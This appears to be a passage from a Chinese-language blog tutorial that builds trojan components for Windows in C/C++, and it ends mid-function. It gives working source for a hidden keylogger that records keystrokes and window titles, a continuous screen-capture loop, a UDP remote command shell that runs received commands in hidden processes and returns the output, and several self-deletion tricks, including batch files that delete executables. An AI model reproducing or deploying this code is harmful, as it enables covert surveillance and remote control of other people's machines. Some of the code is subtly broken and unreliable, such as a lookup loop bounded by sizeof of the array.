AddVKey(VK_APPS, "Applications key (Natural keyboard)"),
AddVKey(0x5E, "Reserved"),
AddVKey(VK_SLEEP, "Computer Sleep key"),
AddVKey(VK_NUMPAD0, "Numeric keypad 0 key"),
AddVKey(VK_NUMPAD1, "Numeric keypad 1 key"),
AddVKey(VK_NUMPAD2, "Numeric keypad 2 key"),
AddVKey(VK_NUMPAD3, "Numeric keypad 3 key"),
AddVKey(VK_NUMPAD4, "Numeric keypad 4 key"),
AddVKey(VK_NUMPAD5, "Numeric keypad 5 key"),
AddVKey(VK_NUMPAD6, "Numeric keypad 6 key"),
AddVKey(VK_NUMPAD7, "Numeric keypad 7 key"),
AddVKey(VK_NUMPAD8, "Numeric keypad 8 key"),
AddVKey(VK_NUMPAD9, "Numeric keypad 9 key"),
AddVKey(VK_MULTIPLY, "Multiply key"),
AddVKey(VK_ADD, "Add key"),
AddVKey(VK_SEPARATOR, "Separator key"),
AddVKey(VK_SUBTRACT, "Subtract key"),
AddVKey(VK_DECIMAL, "Decimal key"),
AddVKey(VK_DIVIDE, "Divide key"),
AddVKey(VK_F1, "F1"),
AddVKey(VK_F2, "F2"),
AddVKey(VK_F3, "F3"),
AddVKey(VK_F4, "F4"),
AddVKey(VK_F5, "F5"),
AddVKey(VK_F6, "F6"),
AddVKey(VK_F7, "F7"),
AddVKey(VK_F8, "F8"),
AddVKey(VK_F9, "F9"),
AddVKey(VK_F10, "F10"),
AddVKey(VK_F11, "F11"),
AddVKey(VK_F12, "F12"),
AddVKey(VK_F13, "F13"),
AddVKey(VK_F14, "F14"),
AddVKey(VK_F15, "F15"),
AddVKey(VK_F16, "F16"),
AddVKey(VK_F17, "F17"),
AddVKey(VK_F18, "F18"),
AddVKey(VK_F19, "F19"),
AddVKey(VK_F20, "F20"),
AddVKey(VK_F21, "F21"),
AddVKey(VK_F22, "F22"),
AddVKey(VK_F23, "F23"),
AddVKey(VK_F24, "F24"),
AddVKey(0x88, "Unassigned"),
AddVKey(0x89, "Unassigned"),
AddVKey(0x8A, "Unassigned"),
AddVKey(0x8B, "Unassigned"),
AddVKey(0x8C, "Unassigned"),
AddVKey(0x8D, "Unassigned"),
AddVKey(0x8E, "Unassigned"),
AddVKey(0x8F, "Unassigned"),
AddVKey(VK_NUMLOCK, "NUM LOCK key"),
AddVKey(VK_SCROLL, "SCROLL LOCK key"),
AddVKey(0x92, "OEM specific"),
AddVKey(0x93, "OEM specific"),
AddVKey(0x94, "OEM specific"),
AddVKey(0x95, "OEM specific"),
AddVKey(0x96, "OEM specific"),
AddVKey(0x97, "Unassigned"),
AddVKey(0x98, "Unassigned"),
AddVKey(0x99, "Unassigned"),
AddVKey(0x9A, "Unassigned"),
AddVKey(0x9B, "Unassigned"),
AddVKey(0x9C, "Unassigned"),
AddVKey(0x9D, "Unassigned"),
AddVKey(0x9E, "Unassigned"),
AddVKey(0x9F, "Unassigned"),
AddVKey(VK_LSHIFT, "Left SHIFT key"),
AddVKey(VK_RSHIFT, "Right SHIFT key"),
AddVKey(VK_LCONTROL, "Left CONTROL key"),
AddVKey(VK_RCONTROL, "Right CONTROL key"),
AddVKey(VK_LMENU, "Left MENU key"),
AddVKey(VK_RMENU, "Right MENU key"),
AddVKey(0xA6, "Windows 2000/XP: Browser Back key"),
AddVKey(0xA7, "Windows 2000/XP: Browser Forward key"),
AddVKey(0xA8, "Windows 2000/XP: Browser Refresh key"),
AddVKey(0xA9, "Windows 2000/XP: Browser Stop key"),
AddVKey(0xAA, "Windows 2000/XP: Browser Search key"),
AddVKey(0xAB, "Windows 2000/XP: Browser Favorites key"),
AddVKey(0xAC, "Windows 2000/XP: Browser Start and Home key"),
AddVKey(0xAD, "Windows 2000/XP: Volume Mute key"),
AddVKey(0xAE, "Windows 2000/XP: Volume Down key"),
AddVKey(0xAF, "Windows 2000/XP: Volume Up key"),
AddVKey(0xB0, "Windows 2000/XP: Next Track key"),
AddVKey(0xB1, "Windows 2000/XP: Previous Track key"),
AddVKey(0xB2, "Windows 2000/XP: Stop Media key"),
AddVKey(0xB3, "Windows 2000/XP: Play/Pause Media key"),
AddVKey(0xB4, "Windows 2000/XP: Start Mail key"),
AddVKey(0xB5, "Windows 2000/XP: Select Media key"),
AddVKey(0xB6, "Windows 2000/XP: Start Application 1 key"),
AddVKey(0xB7, "Windows 2000/XP: Start Application 2 key"),
AddVKey(0xB8, "Reserved"),
AddVKey(0xB9, "Reserved"),
AddVKey(VK_OEM_1, ";or:"),
AddVKey(VK_OEM_PLUS, "+"),
AddVKey(VK_OEM_COMMA, ","),
AddVKey(VK_OEM_MINUS, "-"),
AddVKey(VK_OEM_PERIOD, ".or>"),
AddVKey(VK_OEM_2, "/or?"),
AddVKey(VK_OEM_3, "`or~"),
AddVKey(0xC1, "Reserved"),
AddVKey(0xC2, "Reserved"),
AddVKey(0xC3, "Reserved"),
AddVKey(0xC4, "Reserved"),
AddVKey(0xC5, "Reserved"),
AddVKey(0xC6, "Reserved"),
AddVKey(0xC7, "Reserved"),
AddVKey(0xC8, "Reserved"),
AddVKey(0xC9, "Reserved"),
AddVKey(0xCA, "Reserved"),
AddVKey(0xCB, "Reserved"),
AddVKey(0xCC, "Reserved"),
AddVKey(0xCD, "Reserved"),
AddVKey(0xCE, "Reserved"),
AddVKey(0xCF, "Reserved"),
AddVKey(0xD0, "Reserved"),
AddVKey(0xD1, "Reserved"),
AddVKey(0xD2, "Reserved"),
AddVKey(0xD3, "Reserved"),
AddVKey(0xD4, "Reserved"),
AddVKey(0xD5, "Reserved"),
AddVKey(0xD6, "Reserved"),
AddVKey(0xD7, "Reserved"),
AddVKey(0xD8, "Unassigned"),
AddVKey(0xD9, "Unassigned"),
AddVKey(0xDA, "Unassigned"),
AddVKey(VK_OEM_4, "[or{"),
AddVKey(VK_OEM_5, "\\or|"),
AddVKey(VK_OEM_6, "]}"),
AddVKey(VK_OEM_7, "\"\"or\'\'"),

AddVKey(VK_OEM_8, "Used for miscellaneous characters; it can vary by keyboard."),
AddVKey(0xE0, "Reserved"),
AddVKey(0xE1, "OEM specific"),
AddVKey(VK_OEM_102, "Windows 2000/XP: Either the angle bracket key or the backslash key on the RT 102-key keyboard"),
AddVKey(0xE3, "OEM specific"),
AddVKey(0xE4, "OEM specific"),
AddVKey(VK_PROCESSKEY, "Windows 95/98/Me, Windows NT 4.0, Windows 2000/XP: IME PROCESS key"),
AddVKey(0xE6, "OEM specific"),
AddVKey(0xE7, "Windows 2000/XP: Used to pass Unicode characters as if they were keystrokes. The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods. For more information, see Remark in KEYBDINPUT, SendInput, WM_KEYDOWN, and WM_KEYUP"),
AddVKey(0xE8, "Unassigned"),
AddVKey(0xE9, "OEM specific"),
AddVKey(0xEA, "OEM specific"),
AddVKey(0xEB, "OEM specific"),
AddVKey(0xEC, "OEM specific"),
AddVKey(0xED, "OEM specific"),
AddVKey(0xEF, "OEM specific"),
AddVKey(0xF0, "OEM specific"),
AddVKey(0xF1, "OEM specific"),
AddVKey(0xF2, "OEM specific"),
AddVKey(0xF3, "OEM specific"),
AddVKey(0xF4, "OEM specific"),
AddVKey(0xF5, "OEM specific"),
AddVKey(VK_ATTN, "Attn key"),
AddVKey(VK_CRSEL, "CrSel key"),
AddVKey(VK_EXSEL, "ExSel key"),
AddVKey(VK_EREOF, "Erase EOF key"),
AddVKey(VK_PLAY, "Play key"),
AddVKey(VK_ZOOM, "Zoom key"),
AddVKey(VK_NONAME, "Reserved"),
AddVKey(VK_PA1, "PA1 key"),
AddVKey(VK_OEM_CLEAR, "Clear key"),
AddVKey(0xFF, "Unknown Virtual-Key Code")
};

LPCSTR GetKeyName(USHORT VKey)
{
int i = 0;
for (i = 0; i < sizeof(vkis); i++)
{
if (VKey == vkis[i].VKey)
return vkis[i].VKname;
}
return vkis[--i].VKname;
}


BOOL Sava_Keyboard(LPARAM lParam)
{
KBDLLHOOKSTRUCT sKB;
sKB = (KBDLLHOOKSTRUCT)(*(KBDLLHOOKSTRUCT*)lParam);
HWND hForegroundWindows;
char cKeyname[MAX_PATH] = { 0 };
char cTitle2[MAX_PATH] = { 0 };
char cText[MAX_PATH] = { 0 };
FILE* fp=NULL;

fopen_s(&fp, "log.txt", "a+");
if (fp == NULL)
{
printf("fopen_s Failed!!!");
return FALSE;
}
hForegroundWindows=GetForegroundWindow();
GetWindowTextA(hForegroundWindows, cTitle2, 1024);

if (strcmp(cTitle1, cTitle2))
{
sprintf(cText, "\n[Windows - %s]\t\n", cTitle2);
fwrite(cText, strlen(cText) + 1, 1, fp);
memset(cTitle1, 0, MAX_PATH);
strcpy(cTitle1, cTitle2);
}
memset(cText, 0,MAX_PATH);
strcpy(cKeyname, GetKeyName(sKB.vkCode));
sprintf(cText, "%s", cKeyname);
fwrite(cText, strlen(cText), 1, fp);
fclose(fp);
return TRUE;
}

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)
{
Sava_Keyboard(lParam);
}

return CallNextHookEx(NULL, nCode, wParam, lParam);

}


int main()
{
HHOOK hhk;
HWND hWnd;

//隐藏窗口
AllocConsole();
hWnd = FindWindowA("ConsoleWindowClass", 0);
if (hWnd)
ShowWindow(hWnd, 0);
//设置键盘记录HOOK
hhk=SetWindowsHookExA(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(0), NULL);
while (GetMessage(0, 0, 0, 0));
return UnhookWindowsHookEx(hhk);
}

注意点就是ctitle1需要设置为全局变量,不能在函数中被重置。

桌面截屏

网上找到一段对DC的解释还比较通俗易懂的说法。

首先明白DC的含义,Windows不允许程序员直接访问硬件,它对屏幕的操作是通过环境设备,也就是DC来完成的。屏幕上的没一个窗口都对应一个DC,可以把DC想象成一个视频缓冲区,对这这个缓冲区的操作,会表现在这个缓冲区对应的屏幕窗口上。
在窗口的DC之外,可以建立自己的DC,就是说它不对应窗口,这个方法就是CreateCompatibleDC,这个DC就是一个内存缓冲区,通过这个DC你可以把和它兼容的窗口DC保存到这个DC中,就是说你可以通过它在不同的DC之间拷贝数据。例如:你先在这个DC中建立好数据,然后在拷贝到窗口的DC就是完成了这个窗口的刷新。

用通俗易懂的方式来讲讲过程。

  • 简单讲上下文DC理解为一块画布,然后可以根据窗口的句柄来获取窗口的DC,也就是GetDC()这个函数,并且相当于是有画了的画布。
  • 但是我们为了复制这个画布的画,我们自己也要有一个画布,所以要创建兼容性DC,也就是CreateCompatibleDC()这个函数。
  • 当然,画布肯定是需要规定大小之类的,所有有CreateCompatibleBitmap()函数,创建位图,位图又叫做点阵图,是一个个很小的颜色小方块组合在一起的图片。CreateCompatibleDC()函数也说了,在对DC(画布)绘画前,它必须将正确宽度和高度的位图选择到 DC 中。
  • 然后如何传递位图给DC呢,就是用到SelectObject()函数。
  • 之后就可以利用BitBlt原设备的上下文(画)复制到目标设备(我们的画布)。

上面的部分就是复制的部分,下面来讲如何绘制鼠标的原理。

  • 实际上差不多,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123

#include<stdio.h>
#include<windows.h>
#include<atlimage.h>
#include <iostream>
#include <time.h>
#pragma warning(disable:4996)

int ScreenWidth;
int ScreenHeight;
BOOL GetNewTime(char *sTime)
{
time_t timep;
time(&timep);

struct tm* p;
p = gmtime(&timep);
sprintf(sTime, "%d-%d-%d %d %d %d", 1900 + p->tm_year, 1 + p->tm_mon, p->tm_mday, 8 + p->tm_hour, p->tm_min, p->tm_sec);

return TRUE;
}

BOOL Save_to_jpg(HBITMAP hbmp)
{
CImage image;
char buffer[40] = {0};
memset(buffer, 0, sizeof(buffer));
GetNewTime(buffer);
strcat(buffer, ".jpg");
printf("%s\n", buffer);
image.Attach(hbmp);
image.Save(buffer);
Sleep(2000);
remove(buffer);
return TRUE;

}
BOOL PaintMouse(HDC hdc)
{
HDC bufdc = NULL;
CURSORINFO cursorInfo = { 0 };
ICONINFO iconInfo = { 0 };
HBITMAP bmpOldMask = NULL;

bufdc = ::CreateCompatibleDC(hdc);
::RtlZeroMemory(&iconInfo, sizeof(iconInfo));
cursorInfo.cbSize = sizeof(cursorInfo);
// 获取光标信息
::GetCursorInfo(&cursorInfo);
// 获取光标图标信息
::GetIconInfo(cursorInfo.hCursor, &iconInfo);
// 绘制 白底黑鼠标(AND)
bmpOldMask = (HBITMAP)::SelectObject(bufdc, iconInfo.hbmMask);
::BitBlt(hdc, cursorInfo.ptScreenPos.x, cursorInfo.ptScreenPos.y, 20, 20,
bufdc, 0, 0, SRCAND);
//绘制 黑底彩色鼠标(OR)
SelectObject(bufdc, iconInfo.hbmColor);
BitBlt(hdc, cursorInfo.ptScreenPos.x, cursorInfo.ptScreenPos.y, 20, 20,
bufdc, 0, 0, SRCPAINT);

// 释放资源
SelectObject(bufdc, bmpOldMask);
DeleteObject(iconInfo.hbmColor);
DeleteObject(iconInfo.hbmMask);
DeleteDC(bufdc);
return TRUE;
}

BOOL ScreenCapture()
{
HWND hDesktopWnd;
HDC hDc;
HDC mDc;
HBITMAP bmp;
HGDIOBJ hobj;

//获取桌面窗口句柄
hDesktopWnd=GetDesktopWindow();
//获取窗口DC
hDc = GetDC(hDesktopWnd);
//创建兼容性DC
mDc = CreateCompatibleDC(hDc);

//获取屏幕长宽
ScreenWidth = GetSystemMetrics(SM_CXSCREEN);
ScreenHeight = GetSystemMetrics(SM_CYSCREEN);
//创建兼容位图
bmp = CreateCompatibleBitmap(hDc, ScreenWidth, ScreenHeight);
//选中位图
hobj=SelectObject(mDc, bmp);

BitBlt(mDc, 0, 0, ScreenWidth, ScreenHeight, hDc, 0, 0, SRCCOPY);
PaintMouse(mDc);
Save_to_jpg(bmp);
return TRUE;

}

//网上找到的比较简单的,实际上差不多意思。
void ScreenShot(LPCTSTR s)
{
HDC hdcSrc = GetDC(GetDesktopWindow());
int nBitPerPixel = GetDeviceCaps(hdcSrc, BITSPIXEL);
int nWidth = GetDeviceCaps(hdcSrc, HORZRES);
int nHeight = GetDeviceCaps(hdcSrc, VERTRES);
CImage image;
image.Create(nWidth, nHeight, nBitPerPixel);
BitBlt(image.GetDC(), 0, 0, nWidth, nHeight, hdcSrc, 0, 0, SRCCOPY);
ReleaseDC(NULL, hdcSrc);
image.ReleaseDC();
image.Save(s, Gdiplus::ImageFormatPNG);//ImageFormatJPEG
}

int main()
{

while (TRUE)
{
ScreenCapture();
Sleep(5000);
}
//ScreenShot("hello.jpg");
}

上面就实现了不断截图和删除截图的操作了,注意字符集使用多字节字符集。

远程cmd

我们知道通过一些函数比如说system,WinExec,CreateProcess,等是可以执行cmd命令的,但是有时候我们需要获取返回来的数据,也就执行完cmd命令,下方出现的数据,就可以利用到网络通信和管道的知识。

管道,用来进行进程间通信数据的,本质是一段内存共享。两个进程利用管道文件进行通信时,一个进程为写进程,另一个进程为读进程。写进程通过写端(发送端)往管道文件中写入信息;读进程通过读端(接收端)从管道文件中读取信息。

管道分为匿名管道和命名管道。

  • 匿名管道:管道是半双工的,数据只能单向通信;需要双方通信时,需要建立起两个管道;只能用于父子进程或者兄弟进程之间(具有亲缘关系的进程)。
  • 命名管道:可在同一台计算机的不同进程之间或在跨越一个网络的不同计算机的不同进程之间,支持可靠的、单向或双向的数据通信。

这里是用匿名管道实现的cmd返回数据通信,也就是CreatePipe函数,如果是命名管道则是CreateNamedPipe函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

#include<stdio.h>
#include<windows.h>

BOOL MyRemoteCmd(char* lpCommandLine, char* buffer, DWORD buffersize)
{
HANDLE hReadPipe=NULL;
HANDLE hWritePipe=NULL;
SECURITY_ATTRIBUTES securityattributes = {0};
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = { 0 };

//设置SECURITY_ATTRIBUTES结构体属性。

//大小
securityattributes.nLength = sizeof(SECURITY_ATTRIBUTES);
//可被创建的新进程继承句柄。
securityattributes.bInheritHandle = TRUE;
securityattributes.lpSecurityDescriptor = NULL;

if (CreatePipe(&hReadPipe, &hWritePipe, &securityattributes, 0) == 0)
{
printf("CreatePipe Failed!!! %d", GetLastError());
}

ZeroMemory(&pi, sizeof(pi));//用来将指定的内存块清零。
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
//隐藏窗口
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;//STARTF_USESTDHANDLES这个代表指定是进程的标准输入输出句柄
si.wShowWindow = SW_HIDE;
//设置输出句柄和标准错误句柄
si.hStdOutput = hWritePipe;
si.hStdError = hWritePipe;

//设置为继承句柄,将返回数据写入管道
CreateProcessA(0, lpCommandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
//等待子进程结束
WaitForSingleObject(pi.hProcess, INFINITE);
WaitForSingleObject(pi.hThread, INFINITE);

//利用ReadFile读取管道数据,CreatePipe函数的评论也讲到利用ReadFile来读取数据
ReadFile(hReadPipe, buffer, buffersize, NULL, NULL);

//关闭句柄
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(hWritePipe);
CloseHandle(hReadPipe);

return TRUE;
}

int main()
{
char cmd[] = "ipconfig";
char szBuffer[0x10000] = { 0 };
DWORD dwBufferSize = 0x10000;
memset(szBuffer, 0, dwBufferSize);
MyRemoteCmd(cmd, szBuffer, dwBufferSize);
printf("%s", szBuffer);
}

上面就实现了用管道读取cmd命令ipconfig执行完成后返回的数据。当然还没有实现远程,当然实现远程也很简单,利用socket通讯,TCP或者UDP都行,接收到cmd命令的一方,直接进行管道通信,然后得到返回的数据,然后在发送出去。

代码入下,基于UDP协议,UDP通信感觉还是有点麻烦,和TCP各有优点吧。

按道理也应该分个命令发送端和命令执行端的,但是太麻烦了,我就没有分开写,但是给命令执行端分配了个发送命令执行完成后信息的端口2333,也就是命令发送端的端口。这样命令执行端如果想向命令发送端发送cmd命令是做不到的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193

#include<stdio.h>
#include<windows.h>
#include <winsock.h>
#pragma comment(lib, "Ws2_32.lib")
#pragma warning(disable:4996)
SOCKET SktUDP;

BOOL MySendMessage(LPCSTR sIP, int iPort,char *message,int sizeofmessage)
{
sockaddr_in addr = { 0 };
int out = 0;

addr.sin_family = AF_INET;
addr.sin_port = htons(iPort);
addr.sin_addr.S_un.S_addr = inet_addr(sIP);

int addr_len = sizeof(addr);

out = sendto(SktUDP, message, sizeofmessage, 0, (sockaddr*)&addr, addr_len);
if (out == SOCKET_ERROR)
{
printf("%d", WSAGetLastError());
return FALSE;
}
return TRUE;
}


BOOL MyRemoteCmd(char* lpCommandLine, char* buffer, DWORD buffersize)
{
HANDLE hReadPipe = NULL;
HANDLE hWritePipe = NULL;
SECURITY_ATTRIBUTES securityattributes = { 0 };
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };

//设置SECURITY_ATTRIBUTES结构体属性。

//大小
securityattributes.nLength = sizeof(SECURITY_ATTRIBUTES);
//可被创建的新进程继承句柄。
securityattributes.bInheritHandle = TRUE;
securityattributes.lpSecurityDescriptor = NULL;

if (CreatePipe(&hReadPipe, &hWritePipe, &securityattributes, 0) == 0)
{
printf("CreatePipe Failed!!! %d", GetLastError());
}

ZeroMemory(&pi, sizeof(pi));//用来将指定的内存块清零。
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
//隐藏窗口
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;//STARTF_USESTDHANDLES这个代表指定是进程的标准输入输出句柄
si.wShowWindow = SW_HIDE;
//设置输出句柄和标准错误句柄
si.hStdOutput = hWritePipe;
si.hStdError = hWritePipe;

//设置为继承句柄,将返回数据写入管道
if (CreateProcessA(0, lpCommandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) == 0)
{
return FALSE;
}
//等待子进程结束
WaitForSingleObject(pi.hProcess, INFINITE);
WaitForSingleObject(pi.hThread, INFINITE);

//利用ReadFile读取管道数据,CreatePipe函数的评论也讲到利用ReadFile来读取数据
ReadFile(hReadPipe, buffer, buffersize, NULL, NULL);

//关闭句柄
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(hWritePipe);
CloseHandle(hReadPipe);

return TRUE;
}

//fu 127.0.0.1 2333 ke 127.0.0.1 1234
DWORD WINAPI ThreadProc_recvform(LPVOID lpParam)
{

//接受连接请求


char message[0x5000];

while (true)
{
sockaddr_in addr = { 0 };

int addr_len = sizeof(addr);
int out = 0;

memset(message, 0, sizeof(message));
//接收信息
out = recvfrom(SktUDP, message, 0x5000, 0, (sockaddr*)&addr, &addr_len);
if (out <= 0)
{
continue;
}
printf("recv from :%s\n", message);
//当接受到的消息的长度小于默认认为是cmd命令
if (out < 40)
{
char cmd[MAX_PATH] = { 0 };
char szBuffer[0x5000] = { 0 };
DWORD dwBufferSize = 0x5000;
memset(szBuffer, 0, dwBufferSize);
strcpy(cmd, message);
if (MyRemoteCmd(cmd, szBuffer, dwBufferSize) == FALSE)
{
//cmd命令不正常跳过发送命令
continue;
}
if (strlen(szBuffer))
{
//提前设置好发送消息的端口
MySendMessage("127.0.0.1", 2333, szBuffer, strlen(szBuffer));
}

}


}

return 0;
}


BOOL MySktUDP(LPCSTR sIP, int iPort)
{
//WSAStartup初始化
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
{
printf("WSAStartup Failed!!!");
return false;
}

//socket 创建套接字
SktUDP = socket(AF_INET, SOCK_DGRAM, 0);
if (SktUDP == INVALID_SOCKET)
{
printf("socket Failed!!!");
return false;
}

//配置服务器信息
sockaddr_in server_addr;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(iPort);
server_addr.sin_addr.S_un.S_addr = inet_addr(sIP);

//绑定服务器
if (bind(SktUDP, (const sockaddr*)&server_addr, sizeof(server_addr)) == SOCKET_ERROR)
{
printf("bind Failed!!!");
return false;
}

//创建线程来接收消息
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadProc_recvform, NULL, 0, NULL);
}

int main()
{
char sIP[MAX_PATH] = { 0 };
int iPort = NULL;

printf("Input IP and Port:\n");
scanf("%s%d", sIP, &iPort);
getchar();
if (MySktUDP(sIP, iPort))
{
printf("bind success!!!\n");
}

printf("Input Dest IP and Dest Port:\n");
scanf("%s%d", sIP, &iPort);
getchar();
while (TRUE)
{
//输入信息,发送信息
char message[MAX_PATH] = { 0 };
gets_s(message, MAX_PATH);
MySendMessage(sIP, iPort, message,strlen(message));
}

}

但是也有不好的地方,就是对于命令返回数据过多的的时候会崩掉,主要是设置的空间有限,UDP的单次传输大小好像也有个上限,但是对于普通的命令还是没什么问题,而且能够执行的命令有限不能启动exe文件,不然会导致命令接收端卡住。

下面是测试结果,关闭目标电脑上的notepad.exe,dos命令taskkill /f /im notepad.exe /t

自删除

之前分析一个样本见到的,利用cmd命令删除,/c del filename >> NUL。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

#include<stdio.h>
#include<Windows.h>

int main()
{
CHAR Filename[260];
CHAR Parameters[260];

GetModuleFileNameA(0, Filename, 0x104u);
GetShortPathNameA(Filename, Filename, 0x104u);

printf("%s", Filename);
strcpy(Parameters, "/c del ");
strcat(Parameters, Filename);
strcat(Parameters, " >> NUL");
ShellExecuteA(0, 0, "cmd.exe", Parameters, 0, 0);

exit(0);
}

利用MoveFileEx函数实现。

BOOL MoveFileExA(
  [in]           LPCSTR lpExistingFileName,
  [in, optional] LPCSTR lpNewFileName,
  [in]           DWORD  dwFlags
);

如果dwFlags指定MOVEFILE_DELAY_UNTIL_REBOOT并且 lpNewFileName为 NULL, 则MoveFileEx注册 lpExistingFileName文件以在系统重新启动时删除。

注意点:在此函数的 ANSI 版本中,名称仅限于MAX_PATH字符。要将此限制扩展到 32,767 个宽字符,请调用函数的 Unicode 版本并在前面加上“?” 到路径。有关详细信息,请参阅 命名文件

提示 从 Windows 10 版本 1607 开始,对于此函数的 unicode 版本 ( MoveFileExW ),您可以选择加入以删除MAX_PATH限制,而无需预先添加“\?\”。有关详细信息,请参阅命名文件、路径和命名空间的“最大路径长度限制”部分。

对于文件 I/O,路径字符串的“\?\”前缀告诉 Windows API 禁用所有字符串解析并将其后面的字符串直接发送到文件系统。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

BOOL test2()
{
CHAR Filename[MAX_PATH];
CHAR szTemp[MAX_PATH] = "\\\\?\\";

GetModuleFileName(0, Filename, MAX_PATH);
strcat(szTemp, Filename);
printf("%s", szTemp);
BOOL Ret= MoveFileEx(szTemp, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);
if (Ret == FALSE)
{
printf("%d", GetLastError());
return FALSE;
}
exit(0);

}

然后当然我去执行代码去发现报错,GetLastError的值为5,无法访问,意思就是权限不够。然后我又去读了官方文档的评论。

如果dwFlags参数指定 MOVEFILE_DELAY_UNTIL_REBOOT, 则如果无法访问注册表,则MoveFileEx将失败。该函数将重新启动时要重命名的文件的位置存储在以下注册表值中: HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Session Manager \ PendingFileRenameOperations

此注册表值属于REG_MULTI_SZ类型。每个重命名操作都存储以下以 NULL 结尾的字符串之一,具体取决于重命名是否为删除:

szDstFile \0\0
szSrcFile \0 szDstFile \0
字符串szDstFile \0\0 表示文件 szDstFile将在重新启动时被删除。字符串 szSrcFile \0 szDstFile \0 表示 szSrcFile将在重新启动时重命名为szDstFile。

所以这个函数的本质是修改注册表相关位置,然后在重新启动时,进行删除操作。

接下来我们以管理员身份启动该程序,然后去查看注册表相关位置。

然后如果重新启动计算机,就会发现这个exe不见了。

还有种方法就是批处理了,实际上就和第一种差不多,只不过是写成了bat文件,然后CreateProcess函数隐藏窗口执行bat文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152

#include "stdafx.h"
#include <Windows.h>


BOOL CreateChoiceBat(char *pszBatFileName)
{
int iTime = 5;
char szBat[MAX_PATH] = { 0 };

// 构造批处理内容
/*
@echo off
choice /t 5 /d y /n >nul
del *.exe
del %0
*/
::wsprintf(szBat, "@echo off\nchoice /t %d /d y /n >nul\ndel *.exe\ndel %%0\n", iTime);

// 生成批处理文件
FILE *fp = NULL;
fopen_s(&fp, pszBatFileName, "w+");
if (NULL == fp)
{
return FALSE;
}
fwrite(szBat, (1 + ::lstrlen(szBat)), 1, fp);
fclose(fp);

return TRUE;
}


BOOL CreatePingBat(char *pszBatFileName)
{
int iTime = 5;
char szBat[MAX_PATH] = {0};

// 构造批处理内容
/*
@echo off
ping 127.0.0.1 -n 5
del *.exe
del %0
*/
::wsprintf(szBat, "@echo off\nping 127.0.0.1 -n %d\ndel *.exe\ndel %%0\n", iTime);

// 生成批处理文件
FILE *fp = NULL;
fopen_s(&fp, pszBatFileName, "w+");
if (NULL == fp)
{
return FALSE;
}
fwrite(szBat, (1 + ::lstrlen(szBat)), 1, fp);
fclose(fp);

return TRUE;
}


BOOL DelSelf(int iType)
{
BOOL bRet = FALSE;
char szCurrentDirectory[MAX_PATH] = {0};
char szBatFileName[MAX_PATH] = {0};
char szCmd[MAX_PATH] = {0};

// 获取当前程序所在目录
::GetModuleFileName(NULL, szCurrentDirectory, MAX_PATH);
char *p = strrchr(szCurrentDirectory, '\\');
p[0] = '\0';
// 构造批处理文件路径
::wsprintf(szBatFileName, "%s\\temp.bat", szCurrentDirectory);
// 构造调用执行批处理的 CMD 命令行
::wsprintf(szCmd, "cmd /c call \"%s\"", szBatFileName);

// 创建自删除的批处理文件
if (0 == iType)
{
// choice 方式
bRet = CreateChoiceBat(szBatFileName);
}
else if (1 == iType)
{
// ping 方式
bRet = CreatePingBat(szBatFileName);
}

// 创建新的进程, 以隐藏控制台的方式执行批处理
if (bRet)
{
STARTUPINFO si = { 0 };
